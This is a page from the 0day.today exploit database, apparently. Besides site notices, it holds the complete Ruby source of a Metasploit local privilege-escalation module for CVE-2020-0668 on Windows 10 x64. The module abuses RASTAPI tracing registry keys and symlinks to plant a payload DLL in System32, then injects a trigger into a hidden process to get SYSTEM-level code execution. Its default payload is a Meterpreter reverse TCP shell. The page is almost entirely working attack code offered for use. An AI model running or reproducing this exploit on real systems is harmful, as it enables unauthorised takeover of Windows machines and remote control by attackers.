0day.today - Biggest Exploit Database in the World.
Things you should know about 0day.today:
Administration of this site uses the official contacts. Beware of impostors!
- We use one main domain: http://0day.today
- Most of the materials is completely FREE
- If you want to purchase the exploit / get V.I.P. access or pay for any other service,
you need to buy or earn GOLD
Administration of this site uses the official contacts. Beware of impostors!
We DO NOT use Telegram or any messengers / social networks!
Please, beware of scammers!
Please, beware of scammers!
- Read the [ agreement ]
- Read the [ Submit ] rules
- Visit the [ faq ] page
- [ Register ] profile
- Get [ GOLD ]
- If you want to [ sell ]
- If you want to [ buy ]
- If you lost [ Account ]
- Any questions [ admin@0day.today ]
- Authorisation page
- Registration page
- Restore account page
- FAQ page
- Contacts page
- Publishing rules
- Agreement page
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
You can contact us by:
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
Service Tracing Privilege Escalation Exploit
Author
Risk
[
Security Risk High
]0day-ID
Category
Date add
CVE
Platform
## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core/post/common' require 'msf/core/post/windows/priv' require 'msf/core/post/windows/registry' require 'msf/core/exploit/exe' require 'msf/core/post/windows/filesystem' require 'msf/core/exploit/file_dropper' require 'msf/core/post/file' class MetasploitModule < Msf::Exploit::Local Rank = ExcellentRanking include Msf::Post::Common include Msf::Post::Windows::Priv include Msf::Exploit::EXE include Msf::Post::Windows::FileSystem include Msf::Post::Windows::ReflectiveDLLInjection include Msf::Exploit::FileDropper include Msf::Post::File def initialize(info = {}) super(update_info(info, 'Name' => 'Service Tracing Privilege Elevation Vulnerability', 'Description' => %q(This module leverages a trusted file overwrite with a dll hijacking vulnerability to gain SYSTEM-level access on vulnerable Windows 10 x64 targets), 'License' => MSF_LICENSE, 'Author' => [ 'itm4n', # PoC 'bwatters-r7' # msf module ], 'Platform' => ['win'], 'SessionTypes' => ['meterpreter'], 'Targets' => [ ['Windows x64', { 'Arch' => ARCH_X64 }] ], 'DefaultTarget' => 0, 'DisclosureDate' => 'Feb 11 2020', 'References' => [ ['CVE', '2020-0668'], ['URL', 'https://itm4n.github.io/cve-2020-0668-windows-service-tracing-eop/'], ['URL', 'https://github.com/itm4n/SysTracingPoc'], ['URL', 'https://github.com/RedCursorSecurityConsulting/CVE-2020-0668'], ['PACKETSTORM', '156576'], ['URL', 'https://attackerkb.com/assessments/ea5921d4-6046-4a3b-963f-08e8bde1762a'], ['URL', 'https://googleprojectzero.blogspot.com/2018/04/windows-exploitation-tricks-exploiting.html'] ], 'Notes' => { 'SideEffects' => [ ARTIFACTS_ON_DISK ] }, 'DefaultOptions' => { 'DisablePayloadHandler' => false, 'EXITFUNC' => 'thread', 'Payload' => 'windows/x64/meterpreter/reverse_tcp', 'WfsDelay' => 900 })) register_options([ OptString.new('EXPLOIT_DIR', [false, 'The directory to create for mounting (%TEMP%\\%RAND% by default).', nil]), OptBool.new('OVERWRITE_DLL', [true, 'Overwrite WindowsCreDeviceInfo.dll if it exists (false by default).', false]), OptString.new('PAYLOAD_UPLOAD_NAME', [false, 'The filename to use for the payload binary (%RAND% by default).', nil]), OptString.new('PHONEBOOK_UPLOAD_NAME', [false, 'The name of the phonebook file to trigger RASDIAL (%RAND% by default).', nil]) ]) # stores open handles to cleanup properly end def write_reg_value(registry_hash) vprint_status("Writing #{registry_hash[:value_name]} to #{registry_hash[:key_name]}") begin if !registry_key_exist?(registry_hash[:key_name]) registry_createkey(registry_hash[:key_name]) registry_hash[:delete_on_cleanup] = true else registry_hash[:delete_on_cleanup] = false end registry_setvaldata(registry_hash[:key_name].strip, \ registry_hash[:value_name].strip, \ registry_hash[:value_value], \ registry_hash[:value_type]) rescue Rex::Post::Meterpreter::RequestError => e print_error(e.to_s) end end def remove_reg_value(registry_hash) # we may have already deleted the key return unless registry_key_exist?(registry_hash[:key_name]) begin if registry_hash[:delete_on_cleanup] vprint_status("Deleting #{registry_hash[:key_name]} key") registry_deletekey(registry_hash[:key_name]) else vprint_status("Deleting #{registry_hash[:value_name]} from #{registry_hash[:key_name]} key") registry_deleteval(registry_hash[:key_name], registry_hash[:value_name]) end rescue Rex::Post::Meterpreter::RequestError => e print_bad("Unable to clean up registry") print_error(e.to_s) end end def create_reg_hash(new_size, exploit_dir) reg_keys = [] reg_keys.push(key_name: "HKLM\\SOFTWARE\\Microsoft\\Tracing\\RASTAPI", value_name: "EnableFileTracing", value_type: "REG_DWORD", value_value: 1, delete_on_cleanup: false) reg_keys.push(key_name: "HKLM\\SOFTWARE\\Microsoft\\Tracing\\RASTAPI", value_name: "FileDirectory", value_type: "REG_EXPAND_SZ", value_value: exploit_dir, delete_on_cleanup: false) reg_keys.push(key_name: "HKLM\\SOFTWARE\\Microsoft\\Tracing\\RASTAPI", value_name: "MaxFileSize", value_type: "REG_DWORD", value_value: new_size, delete_on_cleanup: false) reg_keys end def remove_file(file_pathname) vprint_status("Deleting #{file_pathname}") begin session.fs.file.rm(file_pathname) rescue Rex::Post::Meterpreter::RequestError print_error("Manual cleanup of \"#{file_pathname}\" required!") end end def cleanup_mountpoint(dir) print_status("Delete mountpoint #{dir}") unless delete_mount_point(dir) print_error("Error when deleting the mount point.") end begin session.fs.dir.rmdir(dir) rescue Rex::Post::Meterpreter::RequestError print_error("Error when deleting \"#{dir}\".") end end def setup_process begin print_status('Launching notepad to host the exploit...') notepad_process = client.sys.process.execute('notepad.exe', nil, 'Hidden' => true) process = client.sys.process.open(notepad_process.pid, PROCESS_ALL_ACCESS) print_good("Process #{process.pid} launched.") rescue Rex::Post::Meterpreter::RequestError # Sandboxes could not allow to create a new process # stdapi_sys_process_execute: Operation failed: Access is denied. print_error('Operation failed. Trying to elevate the current process...') process = client.sys.process.open end process end def inject_magic(process) library_path = ::File.join(Msf::Config.data_directory, 'exploits', 'uso_trigger', 'uso_trigger.x64.dll') library_path = ::File.expand_path(library_path) print_status("Reflectively injecting the trigger DLL into #{process.pid}...") dll = '' ::File.open(library_path, 'rb') { |f| dll = f.read } exploit_mem, offset = inject_dll_data_into_process(process, dll) vprint_status("Trigger injected.") payload_mem = inject_into_process(process, payload.encoded) print_status('Trigger injected. Starting thread...') process.thread.create(exploit_mem + offset, payload_mem) end def launch_dll_trigger begin print_status('Trying to start notepad') process = setup_process inject_magic(process) print_good('Exploit finished, wait for (hopefully privileged) payload execution to complete.') rescue Rex::Post::Meterpreter::RequestError => e elog("#{e.class} #{e.message}\n#{e.backtrace * "\n"}") print_error(e.message) end end def rastapi_privileged_filecopy(file_contents, exploit_dir, upload_payload_pathname, target_payload_pathname) handles = [] reg_hash = create_reg_hash(file_contents.length - 1, exploit_dir) vprint_status("Registry hash = #{reg_hash}") # set up directories and mountpoints vprint_status("Making #{exploit_dir} on #{sysinfo['Computer']}") mkdir(exploit_dir) vprint_status("Made #{exploit_dir}") register_file_for_cleanup(upload_payload_pathname) mount_dir = '\\RPC Control\\' # Create mountpoint print_status("Creating mountpoint") unless create_mount_point(exploit_dir, mount_dir) fail_with(Failure::Unknown, "Error when creating the mount point... aborting.") end # Upload payload print_status("Uploading payload to #{upload_payload_pathname}") write_file(upload_payload_pathname, file_contents) register_file_for_cleanup(upload_payload_pathname) upload_md5 = session.fs.file.md5(upload_payload_pathname) vprint_status("Payload md5 = #{Rex::Text.to_hex(upload_md5, '')}") # Create Symlinks print_status("Creating Symlinks") vprint_status("Creating symlink #{upload_payload_pathname} in \\RPC Control\\RASTAPI.LOG") symlink_handle = create_symlink(nil, "\\RPC Control\\RASTAPI.LOG", "\\??\\#{upload_payload_pathname}") unless symlink_handle fail_with(Failure::Unknown, "Error when creating the RASTAPI.LOG symlink... aborting.") end vprint_status("Collected Symlink Handle #{symlink_handle['LinkHandle']}") handles.push(symlink_handle['LinkHandle']) vprint_status("Creating symlink #{target_payload_pathname} in \\RPC Control\\RASTAPI.OLD") symlink_handle = create_symlink(nil, "\\RPC Control\\RASTAPI.OLD", "\\??\\#{target_payload_pathname}") unless symlink_handle fail_with(Failure::Unknown, "Error when creating the RASTAPI.OLD symlink... aborting.") end vprint_status("Collected Symlink Handle #{symlink_handle['LinkHandle']}") handles.push(symlink_handle['LinkHandle']) # write registry keys reg_hash.each do |entry| write_reg_value(entry) end # Upload phonebook file phonebook_name = datastore['PHONEBOOK_NAME'] || Rex::Text.rand_text_alpha(6..13) + '.pbk' upload_phonebook_pathname = session.sys.config.getenv('TEMP') + "\\" + phonebook_name launch_rasdialer(upload_phonebook_pathname) register_file_for_cleanup(upload_phonebook_pathname) vprint_status("Checking on #{target_payload_pathname}") vprint_status("Upload payload md5 = #{Rex::Text.to_hex(upload_md5, '')}") moved_md5 = session.fs.file.md5(target_payload_pathname) vprint_status("Moved payload md5 = #{Rex::Text.to_hex(moved_md5, '')}") # clean up after file move print_status("Cleaning up before triggering dll load...") print_status("Removing Registry keys") reg_hash.each do |entry| remove_reg_value(entry) end print_status("Removing Symlinks") handles.each do |handle| result = session.railgun.kernel32.CloseHandle(handle) vprint_status("Closing symlink handle #{handle}: #{result['ErrorMessage']}") end print_status("Removing Mountpoint") session.fs.dir.rmdir(exploit_dir) print_status("Removing directories") unless moved_md5 == upload_md5 fail_with(Failure::Unknown, "Payload hashes do not match; filecopy failed.") end end def exploit validate_target validate_active_host # dll should not already exist win_dir = session.sys.config.getenv('windir') target_payload_pathname = "#{win_dir}\\system32\\WindowsCoreDeviceInfo.dll" if file?(target_payload_pathname) print_warning("#{target_payload_pathname} already exists") print_warning("If it is in use, the overwrite will fail") unless datastore['OVERWRITE_DLL'] print_error("Change OVERWRITE_DLL option to true if you would like to proceed.") fail_with(Failure::BadConfig, "#{target_payload_pathname} already exists and OVERWRITE_DLL option is false") end end # set up variables temp_dir = session.sys.config.getenv('TEMP') exploit_dir = datastore['EXPLOIT_DIR'] || temp_dir + '\\' + Rex::Text.rand_text_alpha(6..13) upload_payload_pathname = session.sys.config.getenv('TEMP') + "\\" + Rex::Text.rand_text_alpha(6..13) + ".dll" payload_dll = generate_payload_dll print_status("Payload DLL is #{payload_dll.length} bytes long") # start file copy rastapi_privileged_filecopy(payload_dll, exploit_dir, upload_payload_pathname, target_payload_pathname) # launch trigger launch_dll_trigger print_warning("Manual cleanup after reboot required for #{target_payload_pathname} and #{exploit_dir}") print_status("Exploit complete. It may take up to 10 minutes to get a session") end def validate_active_host begin print_status("Attempting to PrivEsc on #{sysinfo['Computer']} via session ID: #{datastore['SESSION']}") rescue Rex::Post::Meterpreter::RequestError => e elog("#{e.class} #{e.message}\n#{e.backtrace * "\n"}") raise Msf::Exploit::Failed, 'Could not connect to session' end end def validate_target unless sysinfo['Architecture'] == ARCH_X64 fail_with(Failure::NoTarget, 'Exploit code is 64-bit only') end if session.arch == ARCH_X86 fail_with(Failure::NoTarget, 'Running against WOW64 is not supported') end sysinfo_value = sysinfo['OS'] build_num = sysinfo_value.match(/\w+\d+\w+(\d+)/)[0].to_i vprint_status("Build Number = #{build_num}") unless sysinfo_value =~ /10/ && (build_num >= 17134 && build_num <= 18363) fail_with(Failure::NotVulnerable, 'The exploit only supports Windows 10 build versions 17134-18363') end end def launch_rasdialer(upload_phonebook_pathname) local_phonebook_path = ::File.join(Msf::Config.data_directory, 'exploits', 'cve-2020-0668', 'phonebook.txt') ensure_clean_destination(upload_phonebook_pathname) vprint_status("Uploading phonebook to #{sysinfo['Computer']} as #{upload_phonebook_pathname} from #{local_phonebook_path}") begin upload_file(upload_phonebook_pathname, local_phonebook_path) rescue Rex::Post::Meterpreter::RequestError print_error("Failed to upload phonebook") return nil end print_status("Phonebook uploaded on #{sysinfo['Computer']} to #{upload_phonebook_pathname}") # Launch RASDIAL vprint_status("Launching Rasdialer") rasdial_cmd = 'rasdial VPNTEST test test /PHONEBOOK:' + upload_phonebook_pathname print_status("Running Rasdialer with phonebook #{upload_phonebook_pathname}") output = cmd_exec('cmd.exe', "/c #{rasdial_cmd}", 60) vprint_status(output) end def ensure_clean_destination(path) return unless file?(path) print_status("#{path} already exists on the target. Deleting...") begin file_rm(path) print_status("Deleted #{path}") rescue Rex::Post::Meterpreter::RequestError => e elog("#{e.class} #{e.message}\n#{e.backtrace * "\n"}") print_error("Unable to delete #{path}") end end end # 0day.today [2024-11-15] #